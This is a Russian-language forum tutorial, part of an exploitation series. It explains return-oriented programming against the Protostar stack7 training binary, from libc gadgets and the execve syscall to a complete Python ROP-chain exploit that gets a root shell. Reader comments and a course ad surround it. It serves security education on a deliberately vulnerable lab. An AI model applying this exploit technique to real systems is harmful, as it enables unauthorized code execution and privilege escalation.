• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья ROP цепочка гаджетов - Изучение методов эксплуатации на примерах, часть 10

30226



Привет кодбай. Пока мы далеко не убежали с уязвимостями форматных строк. Я решил вернутся к теме ROP, к упражнению . Прошлая статья посвященная ROP была не совсем полной!... В этой статье мы познакомимся подробнее с гаджетами и ROP-цепочками.

И так вспомним что мы делали в прошлый раз.

Мы использовали Ret2libc и прыжок на ret address, чтобы обойти ограничение в адресах.
Jump ROP. Прыжок на ret address. Прыгали с одного адреса на другой.

Эта статья продолжение темы ROP, так как не была затронута схема эксплуатации техники ROP с использованием гаджетов.
Исправим этот недочет.

И так приступим...
Этот уровень находится в /opt/protostar/bin/stack7
, VM

ROP-гаджеты
Напомню что «Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции. Последовательность гаджетов называется ROP-цепочкой или ROP-chain.

Так выглядят гаджеты
Код:
pop ebp; ret
mov esp, ebp; pop ebp; ret
add [ebx + 0x5d5b04c4], eax; ret
adc byte ptr [ebx + 0x5e5b08c4], al ; pop ebp ; ret
add al, 0x42 ; mov esp, ebp ; pop ebp ; and eax, 2 ; ret
add al, 0xb8 ; add dword ptr [eax], eax ; add byte ptr [eax], al ; pop esi ; pop edi ; pop ebp ; ret
and al, 0x8b ; jl 0xf5e05 ; add al, 0x89 ; in al, dx ; pop ebp ; ret
xor al, 0x24 ; mov edi, dword ptr [esp + 4] ; mov esp, ebp ; pop ebp ; ret
inc dword ptr [eax + eax*8 - 0x2f760b8b] ; pop esi ; pop ebp ; ret
Что мы можем с ними сделать?

Мы можем взять нужные нам гаджеты, объединив их в последовательную цепочку, помещая эту цепочку в стек, добиться выполнения любого кода, т.е. мы можем выполнить всё что угодно.

Всё что угодно нам не надо, нам нужен шелл. Как и было в случае с функцией system().

В языке Си существует много методов для вызова оболочки, т.е. шелла.

Самый популярный метод в linux при написании шеллкода это использование системного вызова execve(). Его мы и будем использовать, чтобы получить шелл.

Итак, наша цель - создать системный вызов execve().

Linux System Calls
Системные вызовы - это API для интерфейса между пространством пользователя и пространством ядра. По которому можно вызывать нужные нам системные функции. Эти системные функции и называются системными вызовами.

По сути execve() это такая же функция, как и system().

Все системные вызовы перечислены в
Код:
/usr/include/asm/unistd.h
вместе с их номерами. С помощью этих номеров можно вызвать ту или иную системную функцию.
Код:
#include <unistd.h>
unistd.h - это заголовочный файл, который обеспечивает доступ к API операционной системы.

Если мы заглянем с помощью текстового редактора nano в файл unistd.h, то мы увидим, что в нашей VM идет разделение на системные вызовы для x86 и x64.
Код:
nano /usr/include/asm/unistd.h
f2
30229


Заглянем в хедер файл который инклудится, а именно в unistd_32.h
Код:
nano /usr/include/asm/unistd_32.h
f2
30230


Файл содержит 336 системных вызовов

Номер системного вызова execve() - 11.

30231


И так номер системного вызова у нас есть.

Давайте теперь посмотрим на прототип системного вызова функции execve().
Код:
man execve
q
30232

C:
int execve(const char *filename, char *const argv[], char *const envp[]);
filename
Первый аргумент аргумент должен быть указателем на строку, которая в нашем случае является путем к двоичному файлу, ptr для "/bin/sh"

ARGV[]
Второй - это список аргументов программы, и поскольку мы не запускаем "/bin/sh" с какими-либо аргументами, мы можем установить для этого значения нулевой байт.

envp[]
Третий аргумент - для параметров среды, мы снова установим в нулевой байт.

Наш системный вызов будет выглядеть так
C:
execve('/bin/sh',0,0)
Итак, теперь мы знаем, как нам нужно вызывать execve, теперь нам нужно выяснить, как это сделать.

Ассемблер
Для того чтобы двигаться дальше нам нужно углубится в ассемблерные команды и регистры.
На данном этапе мы знаем совсем не много.

Помните те три регистра?
EIP - указатель на адрес текущей инструкции
ESP - указатель на стек
EBP - фрейм указатель

Теперь нам нужны еще четыре регистра: EAX, EBX, ECX, EDX.

Каждый новый из этих регистров имеет свою особенность.

Вот их краткое описание.

EAX - используется в качестве универсального аккумулятора значений. Т.е. если нужно сохранить 32 бита в регистре процессора, то желательно использовать именно регистра EAX.

EBX - применяют для хранения адреса в памяти. Обычно используют этот регистр для хранения базового адреса в сочетании со статическим смещением. Хотя EBX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.

ECX - применяют организации циклов. Перед началом цикла в него помещают количество итераций. Каждая команда loop уменьшает значение этого регистра. Когда значение регистра ECX становится равным 0, цикл завершается. Регистр ECX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.

EDX - используется как и EAX в качестве универсального аккумулятора значений. EDX активно используется для операций умножения и деления (DIV, SUB).

В этих регистрах мы будем хранить определенное значение.

Так же следует сказать, что существует шесть регистров, в которых хранятся аргументы используемого системного вызова. Это EBX, ECX, EDX, ESI, EDI и EBP. Эти регистры принимают последовательные аргументы, начиная с регистра EBX. Если существует более шести аргументов, ячейка памяти первого аргумента сохраняется в регистре EBX.

Вернемся к обсуждению нашего системного вызова execve().

Для того чтобы вызвать execve() и перед тем, как его вызывать нам надо хранить где-то аргументы...

Из текста выше сказано что есть 6 регистров для хранения аргументов, начиная с EBX.

Следовательно наши аргументы будут хранится так.
Код:
execve('/bin/sh',0,0)
EBX -> '/bin/sh'
ECX -> 0
EDX -> 0
А для того чтобы вызвать сам системный вызов надо сделать прерывание int 0x80 (80h).
int - это прерывание
0x80 - номер прерывания
В Linux обработчик прерываний 0x80 является ядром и используется для выполнения системных вызовов ядра другими программами. Ядро уведомляется о том, какой системный вызов программа хочет сделать, изучив значение в регистре EAX.
В EAX - хранится номер системного вызова.

Для выполнения нашего системного вызова мы сделаем следующее...


Поместим номер системного вызова в регистр EAX. А именно для execve() - 11.
Сохраним аргументы системного вызова в регистрах: EBX, ECX, EDX.
И сделаем прерывание int 0x80 -> EAX (11) => run execve()

Вот что у нас будет.

EAX = 0xb (значение для системного вызова execve)
EBX = "/bin/sh" (указатель на адрес "/bin/sh" в памяти)
ECX = 0x0 - нульбайт
EDX = 0x0 - нульбайт

Теперь нам нужно найти подходящие нам гаджеты и собрать из них ROP-цепочку.

Конструируем ROP-chain
Для того, чтобы искать гаджеты нам понадобится инструмент. На самом деле инструментов очень много которые позволяются искать гаджеты и даже автоматически конструировать rop-цепочки.

Мы можем воспользоваться инструментом ROPgadget или же онлайн сервисом .

Воспользуемся сервисом. Искать гаджеты будем не в самой программе т.е. не в stack7, а в библиотеке libc. Почему? именно в библиотеке, а не в программе? Дело в том, что, чем больше весит программа, тем больше в ней будет найдено гаджетов. И наоборот. Это связано еще с тем, что в программе stack7 может не оказаться нужных нам гаджет, т.е. всех гаджетов для построения полной rop-цепочки, чтобы получить шелл. Поэтому предпочтительнее всегда искать гаджеты в библиотеках, которые тянет за собой программа.

Воспользуемся утилитой ldd для того, чтобы посмотреть какие библиотеки подключены к нашей программе.
Код:
ldd stack7
30233


Как я выше и сказал будем искать гаджеты в libc.

Теперь проверим местоположение библиотеки
Код:
ls -l /lib/libc.so.6
30234


Видно, что это не настоящая библиотека, а симлинк (ярлык) библиотеки. И сама библиотека находится в той же директории и называется она "libc-2.11.2.so". Нам нужно скачать её, а затем загрузить ее на сервис, чтобы выполнить поиск гаджетов.

Для того, чтобы выкачать библиотеку с VM воспользуемся программой .
WinSCP - это графический клиент SFTP (SSH File Transfer Protocol) для Windows с открытым исходным кодом.

Запускаем WinSCP

30235


Принимаем RSA-ключ.

30236


Идем в папку /lib и ищем "libc-2.11.2.so" затем скачиваем ее себе на машину.

30247


И так скачали

30238


Загружаем на сайт

Я загрузил библиотеку libc на сервис - .

Прежде чем двигаться дальше позаимствуем некоторые части и адреса из старого эксплойта.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr

Возьмем
Код:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
shellAddr = pack("I", 0xb7fb63bf)
retAddress = pack("I", 0x08048544)
По ходу дела это нам понадобится.

И так сервис проанализировал нашу библиотеку.

И мы видим такую картину
30239


Для составления rop-цепочки будем искать такие инструкции
pop [register] - переносит любые данные из верхней части стека в [register] и освобождает эту область памяти.
xor eax, eax; - операция которая позволяет установить быстро регистр EAX в 0
inc eax; - операция инкремента, увеличиваем EAX на 1

Начинаем конструировать наш с вами будущий rop-эксплойт.
1. переполняем буфер на 80 байтов. offset eip
Python:
eipOffset = "A"*80
2. прыжок на RET address, адрес возврата
Python:
eip = pack("I", 0x08048544)
3. обнуление регистров, ECХ, EDX.
Пишем в ROPShell pop ecx и ищем для каждой инструкции гаджет. или точней говоря ищем нужный гаджет с нужными инструкциями.

pop ecx; ret
затем подставляем значение из 4 байт '\x00\x00\x00\x00' устанавливаем регистру ECX нулевое значение

а так же

pop edx; ret
'\x00\x00\x00\x00' устанавливаем регистру EDX нулево значение

30240


Не попался нам гаджет который бы содержал инструкции "pop ecx; ret" & "pop edx; ret".

Тогда выбираем гаджет которые объединяет обе инструкции.
Python:
ropchain =  pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
В зависимости от выбранных гаджетов подставляем нужные нам значения.

4.обнуляем EAX
Пишем xor, eax в ropshell

30241


Python:
ropchain +=  pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
5.устанавливаем EAX в 11.

Теперь пишем inc eax

30242


EAX сейчас = 0, инкременируем EAX до 11.
Python:
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
6.вызываем регистр EBX

30243

Python:
ropchain +=  pack("I", libc+0x00074886) # pop ebx; ret should be /bin/sh address
7. Добавляем адрес 'bin/sh'
Python:
ropchain +=  pack("I", 0xb7fb63bf)         # *** '/bin/sh'
8. Вызываем прерывание int 0x80

30244

Python:
ropchain +=  pack("I", libc+0x00020241)
9. Складываем значения и печатаем в строку
Python:
print eipOffset + eip + ropchain
и подключаем адрес библиотеки на си в место адреса функции system(). Если в прошлый раз мы вызывали функцию, то в этот раз мы берем адрес где мы искали гаджеты. Так же как и c 'bin/sh'.

Для того чтобы узнать адрес воспользуемся командой "info proc map", чтобы отобразилось адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack7
break main
run
info proc map
quit
y,enter
30245


Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000.

Полный код эксплойта ropchain.py
Python:
from struct import pack
eipOffset = "A"*80
libc = 0xb7e97000
eip = pack("I", 0x08048544) # *** ret adress
ropchain =  pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
ropchain +=  pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x0002362e) #inc eax
ropchain +=  pack("I", libc+0x00074886) # pop ebx; ret
ropchain +=  pack("I", 0xb7fb63bf)         # *** '/bin/sh'
ropchain +=  pack("I", libc+0x00020241) # int 0x80
print eipOffset + eip + ropchain
Проверяем
Код:
id
whoami
(python ~/ropchain.py;cat)|./stack7
id
whoami
Ctrl+D
30246


Отлично root у нас права!!!
В прошлый раз мы использовали так сказать один гаджет + ret2libc, а в этот раз у нас весь эксплойт состоит из гаджетов, из цепочки гаджетов "ROP-chain".

Про классификацию ROP-гаджетов можно почитать , а дополнительно про ROP .

На этом всё, до скорых встреч.
 

Aleks Binakril

Green Team
04.12.2019
38
5
BIT
0
с одной стороны понятно что все эксплоиты пишутся под никсы и серверные приложения, но с другой стороны тот же майкрософт азур вращается же на майкрософтском софте
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Ну наконец-то. прошёл на x64.

в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек.
 
  • Нравится
Реакции: Сергей Попов
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!